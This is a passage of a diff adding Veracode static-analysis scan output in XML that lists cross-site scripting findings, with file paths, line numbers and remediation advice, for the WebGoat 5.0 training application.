+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
